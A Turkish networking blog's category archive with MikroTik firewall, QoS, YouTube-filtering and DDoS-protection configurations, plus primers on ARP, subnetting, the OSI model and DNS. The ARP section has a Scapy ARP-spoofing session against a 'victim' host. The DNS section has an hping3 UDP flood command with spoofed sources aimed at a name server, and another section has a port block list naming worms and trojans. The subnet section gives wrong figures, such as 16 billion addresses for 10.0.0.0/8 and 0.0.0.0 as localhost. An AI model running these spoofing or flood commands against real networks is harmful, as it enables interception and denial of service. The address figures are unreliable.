Kategori arşivi: Network

Network cihazları hakkında temel yapılandırmalar, IPS ve IDS cihaz kurulumları ve yapılandırma örnekleri, fortigate, palo alto firewall yapılandırma, sorunlar ve çözümleri hakkında türkçe yazılar

MikroTik’de Youtube Nasıl Engellenir?

Çok fazla trafik harcayan özellikle youtube gibi web sitelerinin engellenmesi istenebilir, bu durumda mikrotik üzerinde üç şekilde erişim engelli uygulayabilirsiniz. Bunlar başlıca şu şekildedir;

TLS aracılığı ile

/ip firewall filter
add action=drop chain=forward protocol=tcp tls-host=youtube.com
add action=drop chain=forward protocol=tcp tls-host=googlevideo.com
add action=drop chain=forward protocol=tcp tls-host=*.youtube.*
add action=drop chain=forward protocol=tcp tls-host=*.googlevideo.*

Layer 7 Filtreme ile

/ip firewall layer7-protocol
add name=Youtube regexp=^.+(youtube.com|googlevideo.com).*$
/ip firewall filter
add action=drop chain=forward layer7-protocol=Youtube

İçerik Filtrelemesi ile

/ip firewall filter
add action=drop chain=forward content=youtube.com 
add action=drop chain=forward content=googlevideo.com
add action=drop chain=forward content=.youtube.
add action=drop chain=forward content=.googlevideo.

Mikrotik Ön Tanımlı Kurallar

Güvenlik duvarı kurallarınızı bir şekilde bozdunuz veya kaybettiyseniz aşağıdaki kuralları kullanabilirsiniz. Bu yapılandırmaya ek olarak güvenlik önlemleri de eklenmiştir, ddos ve spam aksiyonları ön tanımlı olarak alınmıştır. Onun dışında yer alan diğer yapılandırmalar kullanıcıya bırakılmıştır.

/ip firewall address-list add address=192.168.88.0/24 disabled=no list=support

/ip firewall address-list
add address=0.0.0.0/8 comment=Self-Identification [RFC 3330] disabled=no list=bogons
add address=10.0.0.0/8 comment=Private[RFC 1918] - CLASS A # Check if you need this subnet before enable it disabled=yes list=bogons
add address=127.0.0.0/8 comment=Loopback [RFC 3330] disabled=no list=bogons
add address=169.254.0.0/16 comment=Link Local [RFC 3330] disabled=no list=bogons
add address=172.16.0.0/12 comment=Private[RFC 1918] - CLASS B # Check if you need this subnet before enable it disabled=yes list=bogons
add address=192.168.0.0/16 comment=Private[RFC 1918] - CLASS C # Check if you need this subnet before enable it disabled=yes list=bogons
add address=192.0.2.0/24 comment=Reserved - IANA - TestNet1 disabled=no list=bogons
add address=192.88.99.0/24 comment=6to4 Relay Anycast [RFC 3068] disabled=no list=bogons
add address=198.18.0.0/15 comment=NIDB Testing disabled=no list=bogons
add address=198.51.100.0/24 comment=Reserved - IANA - TestNet2 disabled=no list=bogons
add address=203.0.113.0/24 comment=Reserved - IANA - TestNet3 disabled=no list=bogons
add address=224.0.0.0/4 comment=MC, Class D, IANA # Check if you need this subnet before enable it disabled=yes list=bogons

/ip firewall filter
add action=add-src-to-address-list address-list=Syn_Flooder address-list-timeout=30m chain=input comment=Add Syn Flood IP to the list connection-limit=30,32 disabled=no protocol=tcp tcp-flags=syn
add action=drop chain=input comment=Drop to syn flood list disabled=no src-address-list=Syn_Flooder
add action=add-src-to-address-list address-list=Port_Scanner address-list-timeout=1w chain=input comment=Port Scanner Detect disabled=no protocol=tcp psd=21,3s,3,1
add action=drop chain=input comment=Drop to port scan list disabled=no src-address-list=Port_Scanner
add action=jump chain=input comment=Jump for icmp input flow disabled=no jump-target=ICMP protocol=icmp
add action=drop chain=input comment=Block all access to the winbox - except to support list # DO NOT ENABLE THIS RULE BEFORE ADD YOUR SUBNET IN THE SUPPORT ADDRESS LIST disabled=yes dst-port=8291 protocol=tcp src-address-list=!support
add action=jump chain=forward comment=Jump for icmp forward flow disabled=no jump-target=ICMP protocol=icmp
add action=drop chain=forward comment=Drop to bogon list disabled=no dst-address-list=bogons
add action=add-src-to-address-list address-list=spammers address-list-timeout=3h chain=forward comment=Add Spammers to the list for 3 hours connection-limit=30,32 disabled=no dst-port=25,587 limit=30/1m,0 protocol=tcp
add action=drop chain=forward comment=Avoid spammers action disabled=no dst-port=25,587 protocol=tcp src-address-list=spammers
add action=accept chain=input comment=Accept DNS - UDP disabled=no port=53 protocol=udp
add action=accept chain=input comment=Accept DNS - TCP disabled=no port=53 protocol=tcp
add action=accept chain=input comment=Accept to established connections connection-state=established disabled=no
add action=accept chain=input comment=Accept to related connections connection-state=related disabled=no
add action=accept chain=input comment=Full access to SUPPORT address list disabled=no src-address-list=support
add action=drop chain=input comment=Drop anything else! # DO NOT ENABLE THIS RULE BEFORE YOU MAKE SURE ABOUT ALL ACCEPT RULES YOU NEED disabled=yes
add action=accept chain=ICMP comment=Echo request - Avoiding Ping Flood, adjust the limit as needed disabled=no icmp-options=8:0 limit=2,5 protocol=icmp
add action=accept chain=ICMP comment=Echo reply disabled=no icmp-options=0:0 protocol=icmp
add action=accept chain=ICMP comment=Time Exceeded disabled=no icmp-options=11:0 protocol=icmp
add action=accept chain=ICMP comment=Destination unreachable disabled=no icmp-options=3:0-1 protocol=icmp
add action=accept chain=ICMP comment=PMTUD disabled=no icmp-options=3:4 protocol=icmp
add action=drop chain=ICMP comment=Drop to the other ICMPs disabled=no protocol=icmp
add action=jump chain=output comment=Jump for icmp output disabled=no jump-target=ICMP protocol=icmp
Plaintext

Kullanmakta olduğum yapılandırma ise Mikrotik Router Güvenlik Duvarı Kuralları makalesinde yer almakta olup isterseniz onu da kullanabilirsiniz.

MikroTik’de NVIDIA GeForce Now için QoS Ayarları Nasıl Yapılır?

Uzak masaüstü sistemleri aracılığı ile bulutta bilgisayar oyunlarını oynamak son dönemde ciddi bir popülerlik kazandı, hal böyle olunca insanlar yeni sistemler toplamak yerine eski sistemleri üzerinde bağlantı kalitelerini iyileştirmeyi tercih ederek bu sistemleri kullanmayı tercih etti.

nvidia

Ülkemizde ise Turkcell işbirliğinde NVIDIA GeForce Now kullanıma sunuldu, hem Ankara hem de İstanbul olmak üzere 2 adet aktif pop noktası ile düşük gecikmeli ve sıkıntısız bir şekilde oyun oynama imkanı sunuldu.

ADSL/VDSL kullanan arkadaşlar haricinde Cable ve Fiber bağlantılar ile internete çıkan kullanıcılar bu NVIDIA GeForce Now işbirliğinden oldukça hoşlandı.

temsili

Peki network çok yoğun bir şekilde kullanılıyorsa GeForce Now kullanan birisi ne yapacak? Özellikle yoğun ağlarda bu bir çileye dönüşebiliyor. Anlık Loss ve Latency artmaları görülebiliyor. Bunların bir nebzede olsa önüne geçebilmek için işlemler yapabiliriz.

/queue simple 
add name=Geforce Now packet-marks=geforce-now-pkt target=192.168.88.0/24 comment=Geforce Now

/ip firewall address-list
add address=192.168.88.0/24 list=LOCAL

/ip firewall filter 

add action=add-dst-to-address-list address-list=Geforce-ip address-list-timeout=1d chain=forward dst-address-list=!LOCAL protocol=tcp dst-port=49003,49004,49005,49006 comment=Geforce #1
add action=add-dst-to-address-list address-list=Geforce-ip address-list-timeout=1d chain=forward dst-address-list=!LOCAL protocol=udp dst-port=49003,49004,49005,49006 comment=Geforce #2

/ip firewall mangle
add action=mark-connection chain=prerouting dst-address-list=geforce-ip new-connection-mark=conn-geforce passthrough=yes comment=Geforce Now
add action=mark-packet chain=forward connection-mark=conn-geforce new-packet-mark=geforce-pkt passthrough=no src-address-list=LOCAL
add action=mark-packet chain=forward connection-mark=conn-geforce new-packet-mark=geforce-pkt passthrough=no dst-address-list=LOCAL

/queue tree
add limit-at=1G max-limit=50M name=queue1 parent=bridge queue=default
add limit-at=100k max-limit=100M name=prio8-untagged packet-mark=no-mark parent=queue1 queue=default
add limit-at=1G max-limit=1G name=prio3-gaming packet-mark=gaming parent=queue1 priority=3 queue=default

/ip firewall mangle
add action=mark-packet chain=postrouting connection-mark=gaming new-packet-mark=gaming passthrough=no

add action=mark-connection chain=postrouting comment=NVIDIA Geforce Now dst-port=49003,49004,49005,49006 new-connection-mark=gaming out-interface=bridge protocol=udp

Şimdi bu işlemi yaptıktan sonra işaretli trafik dışında kalanlar için limit uygulanacak ve GeForce Now için darboğaz yaşanmayacaktır.

MikroTik’de Virüs ve Malware Portlarının Engellenmesi

Güvenlik için Router üzerinde bir takım engelleme işlemleri yapmamız zorunludur bunun ana amacı iç network içinden virüs ve kötü amaçlı yazılımların yayılma eğilimlerini durdurmaya çalışmamızdır.

Hangi portların kullanılacağını mutlaka seçmemiz gerekiyor, eğer kontrol etmezsek başımıza istemediğimiz durumlar gelebilir. Virüslerin ve kötü amaçlı yazılımların yayılmasından ağımızı korumak için kullanılmayan ve/veya virüsler tarafından istismar edilmeye açık olan portları kapatmalıyız.

MikroTik üzerinde yer alan güvenlik duvarını kullanarak bu işlemi çok basit bir şekilde yapabilirsiniz.

/ip firewall filter
add chain=virus protocol=tcp dst-port=135-139 action=drop comment=Blaster Worm
add chain=virus protocol=udp dst-port=135-139 action=drop comment=Messenger Worm
add chain=virus protocol=tcp dst-port=445 action=drop comment=Blaster Worm
add chain=virus protocol=udp dst-port=445 action=drop comment=Blaster Worm
add chain=virus protocol=tcp dst-port=593 action=drop comment=unknown
add chain=virus protocol=tcp dst-port=1024-1030 action=drop comment=unknown
add chain=virus protocol=tcp dst-port=1080 action=drop comment=Drop MyDoom
add chain=virus protocol=tcp dst-port=1214 action=drop comment=unknown
add chain=virus protocol=tcp dst-port=1363 action=drop comment=ndm requester
add chain=virus protocol=tcp dst-port=1364 action=drop comment=ndm server
add chain=virus protocol=tcp dst-port=1368 action=drop comment=screen cast
add chain=virus protocol=tcp dst-port=1373 action=drop comment=hromgrafx
add chain=virus protocol=tcp dst-port=1377 action=drop comment=cichlid
add chain=virus protocol=tcp dst-port=2745 action=drop comment=Bagle Virus
add chain=virus protocol=tcp dst-port=2283 action=drop comment=Dumaru.Y
add chain=virus protocol=tcp dst-port=2535 action=drop comment=Beagle
add chain=virus protocol=tcp dst-port=2745 action=drop comment=Beagle.C-K
add chain=virus protocol=tcp dst-port=3127-3128 action=drop comment=MyDoom
add chain=virus protocol=tcp dst-port=3410 action=drop comment=Backdoor OptixPro
add chain=virus protocol=tcp dst-port=4444 action=drop comment=Worm
add chain=virus protocol=udp dst-port=4444 action=drop comment=Worm
add chain=virus protocol=tcp dst-port=5554 action=drop comment=Drop Sasser
add chain=virus protocol=tcp dst-port=8866 action=drop comment=Drop Beagle.B
add chain=virus protocol=tcp dst-port=9898 action=drop comment=Drop Dabber.A-B
add chain=virus protocol=tcp dst-port=10000 action=drop comment=Drop Dumaru.Y
add chain=virus protocol=tcp dst-port=10080 action=drop comment=Drop MyDoom.B
add chain=virus protocol=tcp dst-port=12345 action=drop comment=Drop NetBus
add chain=virus protocol=tcp dst-port=17300 action=drop comment=Drop Kuang2
add chain=virus protocol=tcp dst-port=27374 action=drop comment=Drop SubSeven
add chain=virus protocol=tcp dst-port=65506 action=drop comment=Drop PhatBot,Agobot, Gaobot
add chain=virus protocol=udp dst-port=12667 action=drop comment=Trinoo disabled=no
add chain=virus protocol=udp dst-port=27665 action=drop comment=Trinoo disabled=no
add chain=virus protocol=udp dst-port=31335 action=drop comment=Trinoo disabled=no
add chain=virus protocol=udp dst-port=27444 action=drop comment=Trinoo disabled=no
add chain=virus protocol=udp dst-port=34555 action=drop comment=Trinoo disabled=no
add chain=virus protocol=udp dst-port=35555 action=drop comment=Trinoo disabled=no
add chain=virus protocol=tcp dst-port=27444 action=drop comment=Trinoo disabled=no

MikroTik’de DNS Üzerinden Youtube Kısıtlı Mod Nasıl Kullanılır?

İstenmeyen sonuçların filtrelenmesi çocukların ve gençlerin korunması amacıyla MikroTik üzerinde yapılması gereken değişikliklere değinmek istiyorum.

Bu yapacağımız işlem neticesinde youtube aramalarından cinsel içerikli sonuçları çıkartacağız ve çocuklarla kullanırken veya kendiniz youtube\’de gezerken daha temiz sonuçlar alacaksınız.

/ip dns static
add address=216.239.38.119 name=youtube.com comment=Youtube SafeSearch
add address=216.239.38.119 name=www.youtube.com comment=Youtube SafeSearch
add address=216.239.38.119 name=https://www.youtube.com comment=Youtube SafeSearch
add address=216.239.38.119 name=m.youtube.com comment=Youtube SafeSearch
add address=216.239.38.119 name=https://m.youtube.com comment=Youtube SafeSearch
add address=216.239.38.119 name=youtubei.googleapis.com comment=Youtube SafeSearch
add address=216.239.38.119 name=https://youtubei.googleapis.com comment=Youtube SafeSearch
add address=216.239.38.119 name=youtube.googleapis.com comment=Youtube SafeSearch
add address=216.239.38.119 name=https://youtube.googleapis.com comment=Youtube SafeSearch
add address=216.239.38.119 name=www.youtube-nocookie.com comment=Youtube SafeSearch

Olayımız basit, youtube\’nin filtreli sonuç sunan IP adresini direk olarak Routerimiz üzerine statik DNS olarak tanımlıyoruz. Gelen sonuçlar ise tertemiz olacak. Aşılması kolay olsa da oldukça işlevsel bir özellik olduğunu bilin.

Arp Nedir?

Adres Çözümleme Protokolü (Address Resolution Protocol) ağ katmanı adreslerinin veri bağlantısı katmanı adreslerine (IP adreslerinin MAC adreslerine) çözümlenmesini sağlayan bir iletişim protokolüdür.

Daha önceden eklenmemiş bir MAC adresinin ip adresi değiştirilemez

ARP tablosunda IP adresini değiştirmek için

(kurban) $ arp -an
? (192.168.42.40) at 08:00:27:54:f1:62 [ether] on enp0s16u2
(saldırgan) $ scapy
>>> etherbaslik= Ether(dst=ea:0e:3d:8f:cc:e0,src=31:30:31:31:31:31)
>>> arpbaslik = ARP(op=2, hwsrc=31:30:31:31:31:31,psrc=192.168.42.30,pdst=192.168.42.57)
>>> paket = etherbaslik/arpbaslik
>>> sendp(paket,iface=enp0s8)
Sent 1 packets.
(kurban) $ arp -an
? (192.168.42.40) at 31:30:31:31:31:31 [ether] on enp0s16u2

ARP tablosuna IP eklemek için

(kurban) $ arp -an
 ? (192.168.42.129) at 8e:5d:7a:f1:c0:4f [ether] on enp0s16u2
(saldırgan) $ scapy
>>> etherbaslik= Ether(dst=ff:ff:ff:ff:ff:ff,src=08:00:27:54:f1:62)
>>> arpbaslik = ARP(op=1, hwsrc=08:00:27:54:f1:61,psrc=192.168.42.40,pdst=192.168.42.57)
>>> paket = etherbaslik/arpbaslik
>>> sendp(paket,iface=enp0s8)
Sent 1 packets.
(kurban) $ arp -an
 ? (192.168.42.129) at 8e:5d:7a:f1:c0:4f [ether] on enp0s16u2
 ? (192.168.42.40) at 08:00:27:54:f1:61 [ether] on enp0s16u2

MikroTik Üzerinde Zoom İçin Optimizasyon Nasıl Yapılır?

Toplantı veya video konferansı düzenlemek için kullanılan Zoom üzerinde trafik optimizasyonu yapmamız oldukça önemli, Uzaktan çalışılan şu günlerde ortak ağlarda kullanılan diğer uygulamaların Zoom toplantılarını kesintiye uğratmasını istemeyiz, bu sebeple MikroTik Router üzerinde gerekli önlemleri almalıyız.

Diğer istemciler internette gezinirken Zoom kullananların rahatsız edilmemesi için kullanılan bant genişliğine öncelik vereceğiz böylelikle toplantılar ve/veya konferanslarda sorun yaşanılmayacak.

WinBox üzerinden New Terminal diyerek komut penceremizi açıyoruz ve sırasıyla aşağıdaki komutları giriyoruz.

mikrotik

Zoom için öncelikli kuyruk oluşturuyoruz ve kullanacağımız networkü tanımlıyoruz.

/queue simple
add name=Zoom packet-marks=zoom-pkt target=192.168.88.0/24 comment=ZOOM

Zoom tarafından kullanılan portlara gerekli izinleri veriyoruz ve işaretlememizi yapıyoruz.

/ip firewall filter
add action=add-dst-to-address-list address-list=zoom-ip address-list-timeout=1d chain=forward dst-address-list=!LOCAL protocol=tcp dst-port=3478,3479,5090,5091,8801-8810 comment=ZOOM
add action=add-dst-to-address-list address-list=zoom-ip address-list-timeout=1d chain=forward dst-address-list=!LOCAL protocol=udp dst-port=3478,3479,5090,5091,8801-8810

Ardından trafiği yönlendirecek ve işaretleyecek komutlarımızı giriyoruz.

/ip firewall mangle
add action=mark-connection chain=prerouting dst-address-list=zoom-ip new-connection-mark=conn-zoom passthrough=yes comment=ZOOM
add action=mark-packet chain=forward connection-mark=conn-zoom new-packet-mark=zoom-pkt passthrough=no src-address-list=LOCAL
add action=mark-packet chain=forward connection-mark=conn-zoom new-packet-mark=zoom-pkt passthrough=no dst-address-list=LOCAL

Son olarak adres listemize tanımlama yapıyoruz, zaten daha önceden iç ağ için tanımlama yaptıysanız onu kullanabilirsiniz.

/ip firewall address-list
add address=192.168.88.0/24 list=LOCAL

Alt Ağ (Subnet) Nedir?

IP aralığı içerisinde ihtiyaç kadar ip adresi tanımlamak için kullanılır. Dünya çapında bu ip bloklarının yönetimini IANA (Internet Assigned Numbers Authority) yapar.

Alt ağlara(subnet) bölünmüş ağlar kolay yönetilebilir ve güvenliği kolayca sağlanabilir. Etki alanı daralacağından broadcast istekleri azalır ve ağ performansı artar. En önemlisi de IP adresleri boşa gitmemiş olur.

alt

Zamanla ip adresi yetmemeye başladığından NAT(Network Address Translation) ortaya çıkmıştır. Bunun yapılabilmesi için tek gereken şey internet ile alt ağlar arasında adres dönüşümü gerçekleştirilmesidir.

  • 10.0.0.0/8 A <–> Yaklaşık olarak 16 milyar ip adreslenebilir. [ 2^(32-8) ]
  • 172.16.0.0./12 <–> Yaklaşık olarak 1 milyar ip adreslenebilir. [ 2^(32-12) ]
  • 192.168.0.0/16 <–> Yaklaşık olarak 65 bin ip adreslenebilir. [ 2^(32-16) ]
  • 127.0.0.0/8 <–> Localhost. LoopBack (lo) kendi makine içerisindeki ağ.
  • 224.0.0.0/4 D <–> MultiCast. Her ip adresine teker teker göndermek yerine. Herkese broadcast yapar gibi paketleri göndermek için ayrılmış ip bloğudur.
  • 100.100.0.0/16 <–> Şu anda boşta olan ip bloğudur.
  • 240.0.0.0/4 E <–> Bilimsel testler için ayrılmış ip bloğudur.
  • 169.254.0.0/16 APIPA <–> DHCP sunucusu olmadığı zaman bu ip bloğundan rastgele ip alır.

subnet

Yukarıdaki ip adresleri dışında private ip olarak başka bir bloğun kullanılması durumunda internet üzerinde o ip bloğundaki sunuculara uzaktan erişilmek istendiği zaman paket private ağ içerisinde gezeceği için kullanıcı kendi ağı dışarısındaki sunucuya ulaşamayacaktır.

IP adresi kullanılırken kamuya açık alanlarda kullanılmak üzere private ip adresi tanımlaması yapmayınız.

7 Katmanlı OSI Modeli Nedir?

Aşağıda yer alan katmanların amacı sistemdeki her katmanın birbirlerinden etkilenmeden kendi içlerinde değişiklik yapılabilmesidir.

No Katmanlar
1 Fiziksel
2 Data
3 Network
4 Taşıma
5 Oturum
6 Sunum
7 Uygulama

1) Fiziksel Katman : Bit Stream(0-1). Fiber, Bakır tel gibi fiziksel aktarım yöntemleri kullanılan katmandır.

2) Data Katmanı : Bu katmanda fiziksel ağ donanımının adresi kullanılır yani MAC. Ethernet varsa ARP(Adress Resoluiton Protocol) örnek verilebilir. ARP ve RARP sorgularıyla MAC veya IP adresi bilinen bir makinanın diğer bilgileri öğrenilebilir.

MAC Adresi, Bir ağdaki cihazın tanımlanmasını sağlayan fiziksel ağ kartının üzerindeki adresi belirtir. Bu adres 6 oktetten oluşur (00:00:00:00:00:00-FF:FF:FF:FF:FF:FF). MAC adresinin ilk 3 okteti cihazı üreten firmayı belirtir, son 3 oktet ise her kart için benzersiz olmak zorundadır.

  • IP –ARP–> MAC
  • MAC –RARP–> IP

ARP tablosunda iletişim kurulmak istenen makinanın MAC adresi yoksa, ICMP requesti (ping), iletişim kurulmak istenen sistemin ip adresine gönderilerek karşılıklı olarak arp tablolarını güncelleyebiliriz.

ARP tablosunu kontrol etmek için terminalde: Linux sistemlerde arp -an, Windows sistemlerde arp -a yazılarak gösterilebilir. ARP tablosundan girdi silmek için her iki sistemde de aynı arp -d komutu kullanılabilir.

MAC adresinin kullanıldığı protokollere aşağıdakiler örnek olarak verilebilir.

  • Ethernet
  • Token ring
  • Wi-fi
  • Bluetooth
  • FDDI
  • SCSI

3) Network Katmanı : TCP/IPv4 veya TCP/IPv6 ile adreslerin oluşturulup makinalara tanımlandığı katman.

IPv4 32bitlik adresleme yapabilir. 2^32 den 4294967296 adres üretilebilir ama bunu daha kolay şekilde okuyabilmek için 32 bit 4\’erli gruplar halinde 0-255 arasında ifade edilir.

  • 0.0.0.0 <–> Localhost
  • 255.255.255.255 <–> Broadcast (Yayın Adresi)

4) Taşıma Katmanı : İletişim protokolleri TCP veya UDP kullanılır. TCP outurum kontrolü yaparken, UDP herhangi bir iletişim veya paket bütünlüğü kontrolü yapmaz. UDP bu yüzden TCP\’den daha hızlıdır.

5) Oturum Katmanı : Servislerin birbirleriyle iletişimini sağlayan katman. (SSH/RDP/SMB)

6) Sunum Katmanı : Paketi uygun hale getirir. Çeşitli format değişimleri burada yapılır. (PNG–base64–>ascii, SSL,TLS)

7) Uygulama Katmanı : Firefox, FTP, SMTP, HTTP

osi

OSI katmanı referans olarak alındığı için birebir olarak günümüzde kullanılmaz.

DNS Nedir, Nasıl Çalışır?

Her makinada nameserver, dhcp veya elle atatanmış olduğu için oradaki domain sunucularına sorar (Recursive). TLD(TopLevelDomain)‘e sorar o sunucuda .com kaydı tutan sunuculara sordurur burdan com.tr domainlerini tutan sunucuya yönlendirir buradan da mertcangokgoz.com.tr sunucusunun ip adresini önbelleğe alır ve bundan sonraki isteklerde bu yapılan işlemler tekrardan gerçekleşmez.

DNS(Domain Name System) website adreslerini ip adreslerine çevirmek için geliştirilmiştir. 2003 yıllından sonra web sitelerinin sayısı ip adreslerini geçmeye başlayacağı için tek bir makinada birden fazla site bulunmaya başlamıştır.

dns sunucusu, dns nasıl yapılandırılır
Photo by Christina @ wocintechchat.com on Unsplash

İşletim sistemi ilk olarak gelen DNS kaydını /etc/hosts veya /system32/drivers/etc/hosts dosyalarına bakar varsa direk bu ip adresini kullanır. Eğer herhangi bir kayıt yoksa, DHCP sunucusunun bize atadığı DNS sunucusu olan örneğin 1.1.1.1 ip adresli DNS sunucusuna “mertcangokgoz.com.tr” alan adını sorar.

1.1.1.1’de ki DNS sunucusu mertcangokgoz.com.tr alan adının ip adresini bilmese de *.tr kayıtlarını tutan nic.tr sunucusuna “mertcangokgoz.com.tr” sorar, en son mertcangokgoz.com.tr alan adının geriye doğru geçtiği rotalarda yer alan DNS sunucularına ip adresi eklenir ve 1.1.1.1 bize istediğimiz alan adının ip adresini döndürür. Bizim yaptığımız bu işlem den hemen sonra 1.1.1.1 ip adresli DNS sunucusuna birisi veya birileri mertcangokgoz.com.tr sorarsa bu işlemler tekrardan yaşanmaz ve cevap direk olarak 1.1.1.1 üzerinden gönderilir.

fiber optik kablo, fiber kablo görsel, dns fiber temsili
Photo by Kirill Sh on Unsplash

Artık 1.1.1.1’in kendi içinde “mertcangokgoz.com.tr” kaydı bulunur olduğu için daha sonraki DNS isteklerinde yapılan son aşamadaki işlem DNS isteklerini hızlandırır.

  • Hostname: Makinaya verilen kimlik bilgisi.
  • Domain: Bir grup bilgisayarın oluşturduğu ağa verilen kimlik bilgisi.

mertcangokgoz.com.tr içinde mail ve web siteleri olabileceği için DNS kayıt tipleri vardır bunlar genellikle:

  • A: Website kayıtları için.
  • MX: Mail atmak istenildiğinde sorulan DNS kaydıdır.
  • TXT: Text, validation için kullanılabilir.
  • CNAME: Yönlendirme yapmak istenildiği zaman kullanılır mesela wiki.mertcangokgoz.com.tr domainini data.mertcangokgoz.com.tr‘ye linkleyebiliriz.
  • AAAA: IPv6 kayıtları için.
$ nslookup
> server
Default server: X.X.X.X
Address: X.X.X.X#53
$ dig mertcangokgoz.com.tr
...
mertcangokgoz.com.tr.       2846    IN  A   139.179.179.3
...
$ dig MX mertcangokgoz.com.tr # MAIL Server
mertcangokgoz.com.tr.       7200    IN  MX  10 mail.mertcangokgoz.com.tr.
$ nslookup postaci.mertcangokgoz.com.tr
...
Server:     192.168.42.129
Address:    192.168.42.129#53
...
$ dig NS mertcangokgoz.com.tr # DNS Serverleri
...
mertcangokgoz.com.tr.       7199    IN  NS  venus.mertcangokgoz.com.tr.
mertcangokgoz.com.tr.       7199    IN  NS  tor.mertcangokgoz.com.tr.
...

$ dig . ns # TopLevelDomain listesi
...
.                       94359   IN      NS      c.root-servers.net.
.                       94359   IN      NS      f.root-servers.net.
.                       94359   IN      NS      j.root-servers.net.
.                       94359   IN      NS      d.root-servers.net.
.                       94359   IN      NS      e.root-servers.net.
.                       94359   IN      NS      a.root-servers.net.
.                       94359   IN      NS      l.root-servers.net.
.                       94359   IN      NS      h.root-servers.net.
.                       94359   IN      NS      k.root-servers.net.
.                       94359   IN      NS      m.root-servers.net.
.                       94359   IN      NS      g.root-servers.net.
.                       94359   IN      NS      i.root-servers.net.
.                       94359   IN      NS      b.root-servers.net.
...
$ dig mertcangokgoz.com.tr a @a.root-servers.net
...
;; AUTHORITY SECTION:
tr.                     172800  IN      NS      ns21.nic.tr.
tr.                     172800  IN      NS      ns22.nic.tr.
tr.                     172800  IN      NS      ns31.nic.tr.
tr.                     172800  IN      NS      ns41.nic.tr.
tr.                     172800  IN      NS      ns42.nic.tr.
tr.                     172800  IN      NS      ns91.nic.tr.
tr.                     172800  IN      NS      ns92.nic.tr.
...
$ dig mertcangokgoz.com.tr a @ns21.nic.tr.
; <<>> DiG 9.10.3-P4-Debian <<>> mertcangokgoz.com.tr a @ns21.nic.tr.
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32917
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;mertcangokgoz.com.tr.              IN      A

;; AUTHORITY SECTION:
mertcangokgoz.com.tr.           43200   IN      NS      venus.mertcangokgoz.com.tr.
mertcangokgoz.com.tr.           43200   IN      NS      tor.mertcangokgoz.com.tr.

$ dig mertcangokgoz.com.tr a @mail.mertcangokgoz.com.tr

Bu sunucular recursive olmayan isteklere yanıt vermez.

$ dig mertcangokgoz.com.tr @

; <<>> DiG 9.10.3-P4-Debian <<>> mertcangokgoz.com.tr @
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14270
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;mertcangokgoz.com.tr.            IN      A

;; ANSWER SECTION:
mertcangokgoz.com.tr.     86400   IN      CNAME   mertcangokgoz.com.tr.
mertcangokgoz.com.tr.         86400   IN      A       

;; AUTHORITY SECTION:
mertcangokgoz.com.tr.         86400   IN      NS      venus.mertcangokgoz.com.tr.
mertcangokgoz.com.tr.         86400   IN      NS      tor.mertcangokgoz.com.tr.

;; ADDITIONAL SECTION:
ns1.mertcangokgoz.com.tr.     86400   IN      A       
ns2.mertcangokgoz.com.tr.     86400   IN      A       

;; Query time: 8 msec
;; SERVER: #53()
;; WHEN: Mon Jul 23 11:22:12 +03 2018
;; MSG SIZE  rcvd: 145

$ dig mertcangokgoz.com.tr @8.8.8.8

; <<>> DiG 9.10.3-P4-Debian <<>> mertcangokgoz.com.tr @8.8.8.8
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15285
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;mertcangokgoz.com.tr.            IN      A

;; ANSWER SECTION:
mertcangokgoz.com.tr.     21599   IN      CNAME   mertcangokgoz.com.tr.
mertcangokgoz.com.tr.         21599   IN      A       188.166.45.9

İlk sorguda 86400 iken google sunucusunda 21599 olmasının nedeni google’ın dns sunucusunun önbelleğinde bu domainin kaydının olmasıdır.

Scapy

$ scapy
>>> ip = IP(dst="192.168.42.129",version=4)
>>> ud = UDP(sport=61,dport=53)
>>> dn = DNS(rd=1,qd=DNSQR(qname="linux.org.tr"))
>>> send(ip/ud/dn)

Wireshark üzerinden dönen dns sorgusunu inceleyebilirsiniz.

$ hping3 # Paket üretmek için kullanılabilir
$ hping3 --udp --destport 53 --rand-source <NSServer> --flood

MikroTik’de DDoS Saldırılarından Korunmak İçin Firewall Kuralları

Atak sırasında IP adreslerinin engellenebilmesi için adres listelerimizi oluşturalım.

/ip firewall address-list
add list=ddos-attackers
add list=ddos-target

Her 10 saniyede bir hedef ve kaynak adresine göre paketleri eşleştireceğiz. Bu kural, belirli bir oranda oluşan paket aşımına kadar çalışmayacak ardından devreye girecek.


/ip firewall filter
add action=return chain=detect-ddos dst-limit=32,32,src-and-dst-addresses/10s
add action=add-dst-to-address-list address-list=ddos-target address-list-timeout=10m chain=detect-ddos
add action=add-src-to-address-list address-list=ddos-attackers address-list-timeout=10m chain=detect-ddos

/ip firewall raw
add action=drop chain=prerouting dst-address-list=ddos-target src-address-list=ddos-attackers

/ip settings set tcp-syncookies=yes
/ip firewall filter add action=return chain=detect-ddos dst-limit=32,32,src-and-dst-addresses/10s protocol=tcp tcp-flags=syn,ack

MikroTik Üzerinde Protokol Sınıflandırma Nasıl Yapılır?

Router üzerinde gerekli güvenlik yapılandırmalarından önce bağlantı kurulacak TCP ve UDP servislerini belirleyip trafiği sınıflandıracağız. TCP ve UDP için hem kaynak bağlantı noktasını (genellikle 1024-65535) hem de hedef bağlantı noktasını kontrol ettiğimizi unutmayın.

Aşağıdaki kurallar dışında diğer bütün protokollerin geçersiz kalacağını unutmayınız. Kullandığınız protokolleri ayrıca listeye ekleyerek kullanabilirsiniz.

/ ip firewall mangle
add chain=prerouting protocol=tcp connection-state=new action=jump jump-target=tcp-services
add chain=prerouting protocol=udp connection-state=new action=jump jump-target=udp-services
add chain=prerouting connection-state=new action=jump jump-target=other-services

# TCP Services
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=20-21 action=mark-connection new-connection-mark=ftp passthrough=no
